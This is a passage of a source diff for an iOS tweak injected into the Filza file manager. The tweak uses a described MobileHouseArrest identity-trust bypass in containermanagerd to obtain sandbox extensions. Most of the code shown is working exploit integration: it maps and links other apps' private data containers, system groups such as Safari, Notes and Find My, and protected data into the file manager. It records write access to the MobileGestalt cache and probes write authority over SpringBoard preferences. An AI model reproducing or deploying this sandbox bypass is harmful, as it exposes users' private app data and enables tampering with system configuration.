systemgroup.com.apple.mobilegestaltcache, part 3, and flags 0x8100000000.\n" + "Target root: /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches\n" + "Target file: /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist\n" + "Archived 24A5380h proof: an ordinary sandboxed caller received a 275-byte read-write extension. The caller installed a chosen CodexMCMWriteProof marker, verified the bytes, and restored the original inode and SHA-256.\n" + "Current 24A5390f boundary: simple system-group path and class-13 queries were denied. Those simple queries did not repeat the archived part-3 read-write request.\n" + "Relation: this authorization gap is separate from the MobileHouseArrest identity-trust bypass.\n\n" + + "Rejected route — raw ProxyForClient spoof\n" + "Current 24A5390f proof: raw containermanagerd command 39 rejected MobileHouseArrest, mobile_installation_proxy, filecoordinationd, accountsd, and Safari.History identities. No reply contained a container path or sandbox token.\n\n" + + "MobileGestalt route summary\n" + "Direct route: class-13 well-known-group authorization gap -> MobileGestalt Caches.\n" + "Pivot route: class-12 geod allow path -> part-3 domain traversal -> MobileGestalt Caches.\n" + "Both routes reach the same fixed target. Neither route proves arbitrary /var access.\n" + "No result here claims root, kernel, Keychain, TCC, or app-bundle access.\n\n" + + "Current Filza access\n" + "The sections below are generated during the current launch.\n" + "Only direct symlinks created after token activation and a directory-open check appear as enabled roots.\n" + "Experimental sections also show each checked subpath and its current open status.\n\n"]; +} + +static NSString *MCMSpringBoardPreferencesWriteCheck(void) +{ + static const char *target = + "/private/var/mobile/Library/Preferences/com.apple.springboard.plist"; + struct stat targetStatus = {0}; + errno = 0; + int statResult = lstat(target, &targetStatus); + int statErrno = statResult == 0 ? 0 : errno; + + errno = 0; + int readDescriptor = open(target, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + int readErrno = readDescriptor >= 0 ? 0 : errno; + if (readDescriptor >= 0) close(readDescriptor); + + errno = 0; + int writeDescriptor = open(target, O_RDWR | O_CLOEXEC | O_NOFOLLOW); + int writeErrno = writeDescriptor >= 0 ? 0 : errno; + if (writeDescriptor >= 0) close(writeDescriptor); + + NSString *verdict = nil; + const char *notification = NULL; + if (writeDescriptor >= 0) { + verdict = @"WRITABLE-DESCRIPTOR"; + notification = + "local.research.mcm.springboardprefs.writable"; + } else if (writeErrno == EPERM || writeErrno == EACCES) { + verdict = @"DENIED"; + notification = + "local.research.mcm.springboardprefs.denied"; + } else if (writeErrno == ENOENT) { + verdict = @"MISSING"; + notification = + "local.research.mcm.springboardprefs.missing"; + } else { + verdict = @"ERROR"; + notification = + "local.research.mcm.springboardprefs.error"; + } + int notifyResult = notify_post(notification); + + return [NSString stringWithFormat: + @"SpringBoard preferences exact write-authority check\n" + "Target: %s\n" + "Method: open with O_RDWR | O_CLOEXEC | O_NOFOLLOW after all current MCM routes were activated.\n" + "Result: %@; open errno=%d (%s).\n" + "Read-only open: %@; errno=%d (%s).\n" + "Target metadata: lstat=%@; errno=%d (%s); mode=%04o; uid=%u; gid=%u.\n" + "No bytes were written. The probe did not rename, replace, truncate, or unlink the target.\n" + "Host notification: %s; notify_post=%d.\n\n", + target, verdict, writeErrno, strerror(writeErrno), + readDescriptor >= 0 ? @"allowed" : @"denied", + readErrno, strerror(readErrno), + statResult == 0 ? @"present" : @"unavailable", + statErrno, strerror(statErrno), + statResult == 0 ? targetStatus.st_mode & 07777 : 0, + statResult == 0 ? targetStatus.st_uid : 0, + statResult == 0 ? targetStatus.st_gid : 0, + notification, notifyResult]; +} + +static void MCMWriteAccessMap(NSFileManager *manager, NSString *root) +{ + NSArray *> *categories = @[ + @{@"Name": kMCMAppDataDirectoryName, + @"Primitive": @"MHA-MCM class 2 application-data lookup and sandbox extension"}, + @{@"Name": kMCMAppGroupsDirectoryName, + @"Primitive": @"MHA-MCM class 7 app-group lookup and sandbox extension"}, + @{@"Name": kMCMExtensionDataDirectoryName, + @"Primitive": @"MHA-MCM class 4 extension-data lookup and sandbox extension"}, + @{@"Name": kMCMVPNDataDirectoryName, + @"Primitive": @"MHA-MCM class 6 VPN-data lookup and sandbox extension"}, + @{@"Name": kMCMServiceDataDirectoryName, + @"Primitive": @"MHA-MCM class 10 service-data lookup and sandbox extension"}, + @{@"Name": kMCMSystemDataDirectoryName, + @"Primitive": @"MHA-MCM class 12 system-data lookup and sandbox extension"}, + @{@"Name": kMCMSystemGroupsDirectoryName, + @"Primitive": @"MHA-MCM class 13 system-group lookup and sandbox extension"}, + @{@"Name": kMCMProtectedDataDirectoryName, + @"Primitive": @"MHA-MCM class 15 protected-data lookup and sandbox extension"}, + @{@"Name": kMCMAdditionalLocationsDirectoryName, + @"Primitive": @"MHA-MCM class 13 scoped part-domain lookup and sandbox extension"}, + @{@"Name": kMCMExperimentalDirectoryName, + @"Primitive": @"MHA-MCM scoped class 10, 12, 13, and 15 probes"}, + ]; + + NSMutableString *map = [NSMutableString stringWithFormat: + @"MobileContainerManager and MobileGestalt complete map\n\n" + "MHA-MCM means the MobileHouseArrest identity-trust bypass in MobileContainerManager.\n" + "Build-specific proof is labeled below. The current device is %@.\n" + "The map records roots and preselected probe subpaths. It does not enumerate files inside target containers.\n\n", + NSProcessInfo.processInfo.operatingSystemVersionString]; + MCMAppendUnifiedFindingMap(map); + [map appendString:MCMSpringBoardPreferencesWriteCheck()]; + + for (NSDictionary *category in categories) { + NSString *name = category[@"Name"]; + NSString *primitive = category[@"Primitive"]; + NSString *directory = [root stringByAppendingPathComponent:name]; + BOOL isDirectory = NO; + BOOL present = [manager fileExistsAtPath:directory + isDirectory:&isDirectory] && isDirectory; + NSArray *> *entries = present + ? MCMSymlinkAccessEntries(manager, directory) : @[]; + + NSMutableString *section = [NSMutableString stringWithFormat: + @"%@\nPrimitive: %@\n", name, primitive]; + if (!present) + [section appendString:@"Status: folder absent; no root was enabled.\n"]; + else + MCMAppendSymlinkAccess(section, entries); + if ([name isEqualToString:kMCMExperimentalDirectoryName]) + MCMAppendExperimentalSubpaths(section, directory); + [section appendString:@"\n"]; + [map appendString:section]; + if (present) MCMWriteAccessReadme(manager, directory, section); + } + + NSString *wallpaperDirectory = [root + stringByAppendingPathComponent:kMCMWallpaperLabDirectoryName]; + NSString *wallpaperSection = [NSString stringWithFormat: + @"%@\n" + "Primitive: MHA-MCM class 2 application-data lookup for com.apple.PosterBoard.\n" + "Status: this folder is local staging. PosterBoard access starts only during a Wallpaper Lab action.\n" + "Potential target root: the class-2 com.apple.PosterBoard data container returned during that action.\n\n", + kMCMWallpaperLabDirectoryName]; + [map appendString:wallpaperSection]; + MCMWriteAccessReadme(manager, wallpaperDirectory, wallpaperSection); + + [map appendString: + @"Files Traversal\n" + "Primitive: Apple Files relative-symlink portal experiment.\n" + "Status: disabled. This build removes the folder and enables no Files Traversal path.\n\n" + "Boundary: no arbitrary /var, Keychain, TCC, root, kernel, or app-bundle access is claimed.\n"]; + + NSString *mapPath = [root stringByAppendingPathComponent:@"ACCESS MAP.txt"]; + MCMWriteGeneratedString(map, mapPath); +} + +static void MCMPruneEmptyGeneratedDirectory(NSString *directory) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSArray *entries = [fm contentsOfDirectoryAtPath:directory + error:nil]; + for (NSString *entry in entries ?: @[]) { + NSString *path = [directory stringByAppendingPathComponent:entry]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) != 0 || + !S_ISLNK(status.st_mode)) + continue; + + NSArray *targetEntries = [fm contentsOfDirectoryAtPath:path error:nil]; + if (targetEntries.count == 0) { + unlink(path.fileSystemRepresentation); + NSLog(@"[MCMFilza] removed empty generated link path=%@", path); + } + } + + entries = [fm contentsOfDirectoryAtPath:directory error:nil]; + if (entries.count == 0 && rmdir(directory.fileSystemRepresentation) == 0) + NSLog(@"[MCMFilza] removed empty category path=%@", directory); +} + +void MCMFilzaStart(void) +{ + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + MCMEnsureState(); + if (MCMFilzaIsRunningInLiveContainer()) { + MCMInstallLiveContainerRoot(); + return; + } + NSString *actual = MCMSignedCodeIdentifier(); + if (![actual isEqualToString:kRequiredIdentifier]) { + NSLog(@"[MCMFilza] disabled: signed code identifier %@ must be %@ (bundle=%@)", + actual, kRequiredIdentifier, NSBundle.mainBundle.bundleIdentifier); + return; + } + if (!MCMBridgeAvailable()) { + NSLog(@"[MCMFilza] disabled: ContainerManager symbols unavailable"); + return; + } + NSFileManager *fm = NSFileManager.defaultManager; + NSString *root = MCMFilzaVirtualRoot(); + NSString *legacyRoot = [root.stringByDeletingLastPathComponent + stringByAppendingPathComponent:@"MCM Containers"]; + if ([fm fileExistsAtPath:legacyRoot] && ![fm fileExistsAtPath:root]) + [fm moveItemAtPath:legacyRoot toPath:root error:nil]; + else if ([fm fileExistsAtPath:legacyRoot]) + [fm removeItemAtPath:legacyRoot error:nil]; + MCMMigrateLegacyTopLevelNames(fm, root); + NSString *apps = [root stringByAppendingPathComponent:kMCMAppDataDirectoryName]; + NSString *groups = [root stringByAppendingPathComponent:kMCMAppGroupsDirectoryName]; + NSString *extensions = [root + stringByAppendingPathComponent:kMCMExtensionDataDirectoryName]; + NSString *vpnData = [root stringByAppendingPathComponent:kMCMVPNDataDirectoryName]; + NSString *serviceData = [root + stringByAppendingPathComponent:kMCMServiceDataDirectoryName]; + NSString *systemData = [root + stringByAppendingPathComponent:kMCMSystemDataDirectoryName]; + NSString *systemGroups = [root + stringByAppendingPathComponent:kMCMSystemGroupsDirectoryName]; + NSString *protectedData = [root + stringByAppendingPathComponent:kMCMProtectedDataDirectoryName]; + NSString *additionalLocations = [root + stringByAppendingPathComponent:kMCMAdditionalLocationsDirectoryName]; + NSString *experimental = [root + stringByAppendingPathComponent:kMCMExperimentalDirectoryName]; + NSString *filesTraversal = [root stringByAppendingPathComponent:@"Files Traversal"]; + [fm removeItemAtPath:filesTraversal error:nil]; + for (NSString *directory in @[root, apps, groups, extensions, vpnData, + serviceData, systemData, systemGroups, + protectedData, additionalLocations, + experimental]) + [fm createDirectoryAtPath:directory withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} error:nil]; + MCMInstallArchiveAlias(fm, root); + MCMResetAppLinksForTesting(apps); + + NSMutableOrderedSet *appIdentifiers = [NSMutableOrderedSet orderedSetWithArray: + MCMDynamicIdentifiers(2)]; + [appIdentifiers addObjectsFromArray:MCMInstalledApplicationIdentifiers()]; + NSArray *launchServicesIdentifiers = + MCMLaunchServicesStoreIdentifiers(); + // Keep the proven targets as a compatibility fallback when metadata + // enumeration is denied or incomplete on a particular build. + [appIdentifiers addObjectsFromArray:MCMResearchTargetIdentifiers()]; + NSDictionary *custom = MCMCustomIdentifiers(); + for (id value in [custom[@"AppData"] isKindOfClass:NSArray.class] ? custom[@"AppData"] : @[]) + if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value)) [appIdentifiers addObject:value]; + for (NSString *identifier in appIdentifiers) + MCMInstallLink(apps, identifier, 2, NO); + for (NSString *identifier in launchServicesIdentifiers) + if (![appIdentifiers containsObject:identifier]) + MCMInstallLinkWithFailureLogging(apps, identifier, 2, NO, NO); + MCMLogExpectedIdentifierCoverage(@"App Data links", + [NSSet setWithArray:[fm contentsOfDirectoryAtPath:apps error:nil] ?: @[]]); + NSMutableOrderedSet *groupIdentifiers = [NSMutableOrderedSet orderedSetWithArray: + MCMDynamicIdentifiers(7)]; + [groupIdentifiers addObjectsFromArray:@[ + @"group.com.apple.notes", + @"group.com.apple.safari", + @"group.com.apple.weather", + @"group.com.apple.stocks", + ]]; + for (id value in [custom[@"AppGroups"] isKindOfClass:NSArray.class] ? custom[@"AppGroups"] : @[]) + if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value)) + [groupIdentifiers addObject:value]; + for (NSString *identifier in groupIdentifiers) + MCMInstallLink(groups, identifier, 7, YES); + NSMutableOrderedSet *extensionIdentifiers = [NSMutableOrderedSet orderedSetWithArray: + MCMDynamicIdentifiers(4)]; + for (id value in [custom[@"ExtensionData"] isKindOfClass:NSArray.class] ? custom[@"ExtensionData"] : @[]) + if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value)) + [extensionIdentifiers addObject:value]; + for (NSString *identifier in extensionIdentifiers) + MCMInstallLink(extensions, identifier, 4, NO); + + MCMInstallDirectFilesystemLinks(apps, + @"/private/var/mobile/Containers/Data/Application"); + MCMInstallDirectFilesystemLinks(groups, + @"/private/var/mobile/Containers/Shared/AppGroup"); + MCMInstallDirectFilesystemLinks(extensions, + @"/private/var/mobile/Containers/Data/PluginKitPlugin"); + + NSArray *additionalCategories = @[ + @{@"Directory": vpnData, @"Class": @6, @"Group": @(NO), + @"CustomKey": @"VPNData", @"Fallback": @[]}, + @{@"Directory": serviceData, @"Class": @10, @"Group": @(NO), + @"CustomKey": @"ServiceData", @"Fallback": @[ + @"com.apple.swcd", @"com.apple.familycircled", + @"com.apple.locationd", @"com.apple.installd", + @"com.apple.accountsd", @"com.apple.itunescloudd", + @"com.apple.nanonewscd"]}, + @{@"Directory": systemData, @"Class": @12, @"Group": @(NO), + @"CustomKey": @"SystemData", @"Fallback": @[ + @"com.apple.eligibilityd", @"com.apple.geod", + @"com.apple.springboard"]}, + @{@"Directory": systemGroups, @"Class": @13, @"Group": @(YES), + @"CustomKey": @"SystemGroups", @"Fallback": @[ + @"systemgroup.com.apple.configurationprofiles", + @"systemgroup.com.apple.pisco.suinfo", + @"systemgroup.com.apple.lsd.iconscache", + @"systemgroup.com.apple.icloud.findmydevice.managed", + @"systemgroup.com.apple.ondemandresources", + @"systemgroup.com.apple.mobilegestaltcache", + @"systemgroup.com.apple.nsurlstoragedresources", + @"systemgroup.com.apple.installcoordinationd", + @"systemgroup.com.apple.osanalytics", + @"systemgroup.com.apple.ContainerManagerTest.fixed"]}, + @{@"Directory": protectedData, @"Class": @15, @"Group": @(NO), + @"CustomKey": @"ProtectedData", @"Fallback": @[ + @"com.apple.appmanagedfeaturesd"]}, + ]; + for (NSDictionary *category in additionalCategories) { + uint64_t containerClass = [category[@"Class"] unsignedLongLongValue]; + NSMutableOrderedSet *identifiers = + [NSMutableOrderedSet orderedSetWithArray: + MCMDynamicIdentifiers(containerClass)]; + [identifiers addObjectsFromArray:category[@"Fallback"]]; + NSString *customKey = category[@"CustomKey"]; + for (id value in [custom[customKey] isKindOfClass:NSArray.class] + ? custom[customKey] : @[]) + if ([value isKindOfClass:NSString.class] && MCMSafeIdentifier(value)) + [identifiers addObject:value]; + for (NSString *identifier in identifiers) + MCMInstallLink(category[@"Directory"], identifier, containerClass, + [category[@"Group"] boolValue]); + } + + MCMInstallDirectFilesystemLinks(vpnData, + @"/private/var/mobile/Containers/Data/VPNPlugin"); + MCMInstallDirectFilesystemLinks(serviceData, + @"/private/var/mobile/Containers/Data/InternalDaemon"); + MCMInstallDirectFilesystemLinks(systemData, + @"/private/var/mobile/Containers/Data/System"); + MCMInstallDirectFilesystemLinks(systemGroups, + @"/private/var/mobile/Containers/Shared/SystemGroup"); + MCMInstallDirectFilesystemLinks(protectedData, + @"/private/var/mobile/Containers/Data/Protected"); + + // These part-domain lookups remain inside their server-selected system + // group. They expose proven sibling directories but do not grant an + // arbitrary path outside the managed group root. + NSArray *> *additionalLocationMigrations = @[ + @[@"Install Coordination", @"[MHA-C13] Install Coordination"], + @[@"Configuration Profiles", @"[MHA-C13] Configuration Profiles"], + @[@"MobileGestalt Cache", @"[MHA-C13] MobileGestalt Cache"], + ]; + for (NSArray *migration in additionalLocationMigrations) + MCMMigrateStorageEntry(fm, additionalLocations, + migration[0], migration[1]); + + MCMInstallScopedLink(additionalLocations, + @"[MHA-C13] Install Coordination", 13, + @"systemgroup.com.apple.installcoordinationd", YES, 3, + @"../InstallCoordination"); + // Use the group root here. A part-3 ConfigurationProfiles lookup can + // run the ContainerManager directory finalizer on the resolved path. + MCMInstallScopedLink(additionalLocations, + @"[MHA-C13] Configuration Profiles", 13, + @"systemgroup.com.apple.configurationprofiles", YES, 0, nil); + MCMInstallScopedLink(additionalLocations, + @"[MHA-C13] MobileGestalt Cache", 13, + @"systemgroup.com.apple.mobilegestaltcache", YES, 3, nil); + MCMInstallExperimentalFolder(experimental); + if (!gUnrestrictedFilesystem) { + for (NSString *directory in @[apps, groups, extensions, vpnData, + serviceData, systemData, systemGroups, + protectedData, additionalLocations]) + MCMPruneEmptyGeneratedDirectory(directory); + } + MCMWriteAccessMap(fm, root); + MCMWriteInstructions(); + MCMRunGeneratedDeletionProbe(fm, root); + NSError *listError = nil; + NSArray *visibleEntries = [fm contentsOfDirectoryAtPath:root error:&listError]; + NSLog(@"[MCMFilza] ready root=%@ active_leases=%lu entries=%@ list_error=%@", root, + (unsigned long)gLeases.count, visibleEntries, listError); + }); +} diff --git a/MCMIdentifiers.example.plist b/MCMIdentifiers.example.plist new file mode 100644 index 0000000..eae54b7 --- /dev/null +++ b/MCMIdentifiers.example.plist @@ -0,0 +1,24 @@ + + + + + AppData + + com.example.controlled-victim + + AppGroups + + ExtensionData + + VPNData + + ServiceData + + SystemData + + SystemGroups + + ProtectedData + + + diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..7a22986 --- /dev/null +++ b/Makefile @@ -0,0 +1,41 @@ +# Use the newest SDK bundled with this Theos installation. ContainerManager +# entry points are resolved at runtime, so private SDK headers are not needed. +TARGET := iphone:clang:latest:15.0 +ARCHS = arm64 + +include $(THEOS)/makefiles/common.mk + +TWEAK_NAME = FilzaApplySandboxExt + +# This is a plain injected dylib, not a Logos/Substrate tweak. The default +# MobileSubstrate generator would link CydiaSubstrate.framework, which does not +# exist on a normally signed device. +LOGOS_DEFAULT_GENERATOR = internal + +FilzaApplySandboxExt_FILES = Tweak.m MCMBridge.m MCMFilzaIntegration.m \ + PosterBoardFeature.m UpdateChecker.m \ + worse_query.m pathleak.m fallback_query.m \ + WQFilzaIntegration.m WQWebDAVServer.m WQStartupUI.m \ + WQTerminal.m WQPackages.m WQSSHServer.m WQRespring.m WQArchive.m + +# --- Flags --- +FilzaApplySandboxExt_CFLAGS = -I$(PWD)/compat -I$(PWD) -I$(PWD)/XPF/src -I$(PWD)/XPF/external/ChOma/include \ + -fobjc-arc \ + -Wno-unused-function -Wno-unused-variable -Wno-unused-but-set-variable \ + -Wno-incompatible-pointer-types -Wno-incompatible-pointer-types-discards-qualifiers \ + -Wno-deprecated-declarations -Wno-nonportable-include-path -Wno-format +FilzaApplySandboxExt_CFLAGS += -Wno-arc-performSelector-leaks + +FilzaApplySandboxExt_CCFLAGS = $(FilzaApplySandboxExt_CFLAGS) +FilzaApplySandboxExt_OBJCFLAGS = $(FilzaApplySandboxExt_CFLAGS) +FilzaApplySandboxExt_OBJCCFLAGS = $(FilzaApplySandboxExt_CFLAGS) + +FilzaApplySandboxExt_FRAMEWORKS = UIKit Foundation IOKit CoreFoundation Security AVFoundation QuartzCore WebKit +FilzaApplySandboxExt_PRIVATE_FRAMEWORKS = IOSurface +FilzaApplySandboxExt_LIBRARIES = z sandbox archive +FilzaApplySandboxExt_CFLAGS += -I$(PWD)/vendor/libssh/include +FilzaApplySandboxExt_LDFLAGS += -L$(PWD)/vendor/libssh -weak-lssh + +FilzaApplySandboxExt_INSTALL_TARGET_PROCESSES = Filza + +include $(THEOS_MAKE_PATH)/tweak.mk diff --git a/PosterBoardFeature.h b/PosterBoardFeature.h new file mode 100644 index 0000000..e48a372 --- /dev/null +++ b/PosterBoardFeature.h @@ -0,0 +1,9 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +FOUNDATION_EXPORT void PBWallpaperFeatureStart(void); +FOUNDATION_EXPORT void PBWallpaperConfigureBrowser(UIViewController *controller, + NSString *_Nullable currentPath); + +NS_ASSUME_NONNULL_END diff --git a/PosterBoardFeature.m b/PosterBoardFeature.m new file mode 100644 index 0000000..75a3e52 --- /dev/null +++ b/PosterBoardFeature.m @@ -0,0 +1,1169 @@ +#import "PosterBoardFeature.h" + +#import "MCMFilzaIntegration.h" + +#import +#import +#import +#import +#import +#import +#import + +static NSString *const PBErrorDomain = @"local.filzamod.posterboard"; +static NSString *const PBPosterBoardIdentifier = @"com.apple.PosterBoard"; +static const NSUInteger PBMaximumDescriptors = 10; +static const NSUInteger PBMaximumFiles = 4096; +static const unsigned long long PBMaximumBytes = 256ULL * 1024ULL * 1024ULL; +static const NSInteger PBButtonTag = 0x50424C42; + +typedef struct { + NSUInteger files; + NSUInteger directories; + unsigned long long bytes; +} PBTreeStats; + +static BOOL PBSetError(NSError **error, NSInteger code, NSString *format, ...) +{ + if (error) { + va_list arguments; + va_start(arguments, format); + NSString *message = [[NSString alloc] initWithFormat:format arguments:arguments]; + va_end(arguments); + *error = [NSError errorWithDomain:PBErrorDomain code:code + userInfo:@{NSLocalizedDescriptionKey: message ?: @"PosterBoard operation failed"}]; + } + return NO; +} + +static NSString *PBWorkspace(void) +{ + return [MCMFilzaVirtualRoot() + stringByAppendingPathComponent:MCMFilzaWallpaperLabName()]; +} + +static NSString *PBImportsDirectory(void) +{ + return [PBWorkspace() stringByAppendingPathComponent:@"Imports"]; +} + +static NSString *PBBackupsDirectory(void) +{ + return [PBWorkspace() stringByAppendingPathComponent:@"Backups"]; +} + +static NSString *PBReportsDirectory(void) +{ + return [PBWorkspace() stringByAppendingPathComponent:@"Reports"]; +} + +static NSString *PBCanonicalPath(NSString *path) +{ + NSString *result = path.stringByStandardizingPath; + if ([result isEqualToString:@"/var"] || [result hasPrefix:@"/var/"]) + result = [@"/private" stringByAppendingString:result]; + return result; +} + +static BOOL PBSkippedName(NSString *name) +{ + return [name hasPrefix:@"."] || [name caseInsensitiveCompare:@"__MACOSX"] == NSOrderedSame; +} + +static BOOL PBSafeName(NSString *name) +{ + return name.length > 0 && ![name isEqualToString:@"."] && + ![name isEqualToString:@".."] && [name rangeOfString:@"/"].location == NSNotFound && + [name rangeOfString:@"\0"].location == NSNotFound; +} + +static BOOL PBDirectoryNoSymlink(NSString *path, BOOL requireExisting, NSError **error) +{ + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) != 0) { + if (errno == ENOENT && !requireExisting) return YES; + return PBSetError(error, errno, @"Cannot inspect directory %@ (errno %d)", path, errno); + } + if (!S_ISDIR(status.st_mode)) + return PBSetError(error, EINVAL, @"Expected a real directory at %@", path); + return YES; +} + +static NSArray *PBDirectoryNames(NSString *path, NSError **error) +{ + DIR *directory = opendir(path.fileSystemRepresentation); + if (!directory) { + PBSetError(error, errno, @"Cannot open %@ (errno %d)", path, errno); + return nil; + } + NSMutableArray *names = [NSMutableArray array]; + struct dirent *entry = NULL; + errno = 0; + while ((entry = readdir(directory))) { + if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, "..")) continue; + NSString *name = [NSString stringWithUTF8String:entry->d_name]; + if (!name || !PBSafeName(name)) { + closedir(directory); + PBSetError(error, EINVAL, @"Directory contains an unsupported file name: %@", path); + return nil; + } + [names addObject:name]; + } + int readError = errno; + closedir(directory); + if (readError) { + PBSetError(error, readError, @"Failed while reading %@ (errno %d)", path, readError); + return nil; + } + return [names sortedArrayUsingSelector:@selector(localizedStandardCompare:)]; +} + +static BOOL PBScanTreeRecursive(NSString *base, NSString *relative, NSUInteger depth, + NSMutableArray *entries, + PBTreeStats *stats, NSError **error) +{ + if (depth > 32) return PBSetError(error, ELOOP, @"Package tree is deeper than 32 levels"); + NSString *directory = relative.length ? [base stringByAppendingPathComponent:relative] : base; + NSArray *names = PBDirectoryNames(directory, error); + if (!names) return NO; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *childRelative = relative.length + ? [relative stringByAppendingPathComponent:name] : name; + NSString *child = [base stringByAppendingPathComponent:childRelative]; + struct stat status = {0}; + if (lstat(child.fileSystemRepresentation, &status) != 0) + return PBSetError(error, errno, @"Cannot inspect %@ (errno %d)", child, errno); + if (S_ISDIR(status.st_mode)) { + stats->directories++; + [entries addObject:@{@"Path": childRelative, @"Directory": @YES}]; + if (!PBScanTreeRecursive(base, childRelative, depth + 1, entries, stats, error)) + return NO; + } else if (S_ISREG(status.st_mode)) { + if (status.st_size < 0) return PBSetError(error, EINVAL, @"Invalid file size at %@", child); + stats->files++; + stats->bytes += (unsigned long long)status.st_size; + if (stats->files > PBMaximumFiles || stats->bytes > PBMaximumBytes) + return PBSetError(error, EFBIG, + @"Package exceeds the %lu-file or 256 MiB safety limit", + (unsigned long)PBMaximumFiles); + [entries addObject:@{@"Path": childRelative, @"Directory": @NO, + @"Size": @((unsigned long long)status.st_size)}]; + } else { + return PBSetError(error, EINVAL, + @"Package contains a link or special file, which is not allowed: %@", childRelative); + } + } + return YES; +} + +static NSArray *PBScanTree(NSString *root, PBTreeStats *stats, + NSError **error) +{ + memset(stats, 0, sizeof(*stats)); + if (!PBDirectoryNoSymlink(root, YES, error)) return nil; + NSMutableArray *entries = [NSMutableArray array]; + if (!PBScanTreeRecursive(root, @"", 0, entries, stats, error)) return nil; + [entries sortUsingComparator:^NSComparisonResult(NSDictionary *left, NSDictionary *right) { + return [left[@"Path"] compare:right[@"Path"] options:NSLiteralSearch]; + }]; + return entries; +} + +static BOOL PBCopyRegularFile(NSString *source, NSString *destination, NSError **error) +{ + int input = open(source.fileSystemRepresentation, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + if (input < 0) return PBSetError(error, errno, @"Cannot open %@ (errno %d)", source, errno); + struct stat status = {0}; + if (fstat(input, &status) != 0 || !S_ISREG(status.st_mode)) { + int saved = errno ?: EINVAL; + close(input); + return PBSetError(error, saved, @"Source changed during import: %@", source); + } + int output = open(destination.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0600); + if (output < 0) { + int saved = errno; + close(input); + return PBSetError(error, saved, @"Cannot create %@ (errno %d)", destination, saved); + } + BOOL ok = YES; + uint8_t buffer[64 * 1024]; + for (;;) { + ssize_t count = read(input, buffer, sizeof(buffer)); + if (count == 0) break; + if (count < 0) { + if (errno == EINTR) continue; + ok = PBSetError(error, errno, @"Read failed for %@ (errno %d)", source, errno); + break; + } + ssize_t offset = 0; + while (offset < count) { + ssize_t written = write(output, buffer + offset, (size_t)(count - offset)); + if (written < 0 && errno == EINTR) continue; + if (written <= 0) { + ok = PBSetError(error, errno ?: EIO, @"Write failed for %@ (errno %d)", + destination, errno ?: EIO); + break; + } + offset += written; + } + if (!ok) break; + } + if (ok && fsync(output) != 0) + ok = PBSetError(error, errno, @"Could not flush %@ (errno %d)", destination, errno); + close(output); + close(input); + if (!ok) unlink(destination.fileSystemRepresentation); + return ok; +} + +static BOOL PBCopyTree(NSString *source, NSString *destination, + NSArray *entries, NSError **error) +{ + if (mkdir(destination.fileSystemRepresentation, 0700) != 0) + return PBSetError(error, errno, @"Cannot create staging directory %@ (errno %d)", + destination, errno); + for (NSDictionary *entry in entries) { + if (![entry[@"Directory"] boolValue]) continue; + NSString *path = [destination stringByAppendingPathComponent:entry[@"Path"]]; + if (mkdir(path.fileSystemRepresentation, 0700) != 0) + return PBSetError(error, errno, @"Cannot create directory %@ (errno %d)", path, errno); + } + for (NSDictionary *entry in entries) { + if ([entry[@"Directory"] boolValue]) continue; + NSString *relative = entry[@"Path"]; + if (!PBCopyRegularFile([source stringByAppendingPathComponent:relative], + [destination stringByAppendingPathComponent:relative], error)) + return NO; + } + return YES; +} + +static BOOL PBWritePlist(id plist, NSPropertyListFormat format, NSString *path, + NSError **error) +{ + NSError *serializationError = nil; + NSData *data = [NSPropertyListSerialization dataWithPropertyList:plist + format:format options:0 error:&serializationError]; + if (!data) { + if (error) *error = serializationError; + return NO; + } + NSError *writeError = nil; + if (![data writeToFile:path options:NSDataWritingAtomic error:&writeError]) { + if (error) *error = writeError; + return NO; + } + return YES; +} + +static BOOL PBRewriteDescriptor(NSString *root, NSInteger wallpaperIdentifier, + NSError **error) +{ + PBTreeStats stats = {0}; + NSArray *entries = PBScanTree(root, &stats, error); + if (!entries) return NO; + for (NSDictionary *entry in entries) { + if ([entry[@"Directory"] boolValue]) continue; + NSString *relative = entry[@"Path"]; + NSString *name = relative.lastPathComponent; + NSString *path = [root stringByAppendingPathComponent:relative]; + if ([name isEqualToString:@"com.apple.posterkit.provider.descriptor.identifier"]) { + NSData *identifierData = [[NSString stringWithFormat:@"%ld", (long)wallpaperIdentifier] + dataUsingEncoding:NSUTF8StringEncoding]; + if (![identifierData writeToFile:path options:NSDataWritingAtomic error:error]) return NO; + continue; + } + BOOL userInfo = [name isEqualToString:@"com.apple.posterkit.provider.contents.userInfo"]; + BOOL wallpaperPlist = [name hasSuffix:@"Wallpaper.plist"]; + if (!userInfo && !wallpaperPlist) continue; + NSData *data = [NSData dataWithContentsOfFile:path options:NSDataReadingMappedIfSafe error:error]; + if (!data) return NO; + NSPropertyListFormat format = NSPropertyListBinaryFormat_v1_0; + id plist = [NSPropertyListSerialization propertyListWithData:data + options:NSPropertyListMutableContainersAndLeaves format:&format error:error]; + if (![plist isKindOfClass:NSMutableDictionary.class]) + return PBSetError(error, EINVAL, @"Expected a dictionary plist at %@", relative); + NSMutableDictionary *dictionary = plist; + if (userInfo) { + dictionary[@"wallpaperRepresentingIdentifier"] = @(wallpaperIdentifier); + } else { + dictionary[@"identifier"] = @(wallpaperIdentifier); + dictionary[@"family"] = @"Marble"; + dictionary[@"name"] = @"Lavender"; + id assets = dictionary[@"assets"]; + id lockAndHome = [assets isKindOfClass:NSMutableDictionary.class] + ? assets[@"lockAndHome"] : nil; + id defaultAsset = [lockAndHome isKindOfClass:NSMutableDictionary.class] + ? lockAndHome[@"default"] : nil; + if ([defaultAsset isKindOfClass:NSMutableDictionary.class]) + defaultAsset[@"name"] = @"Lavender"; + } + if 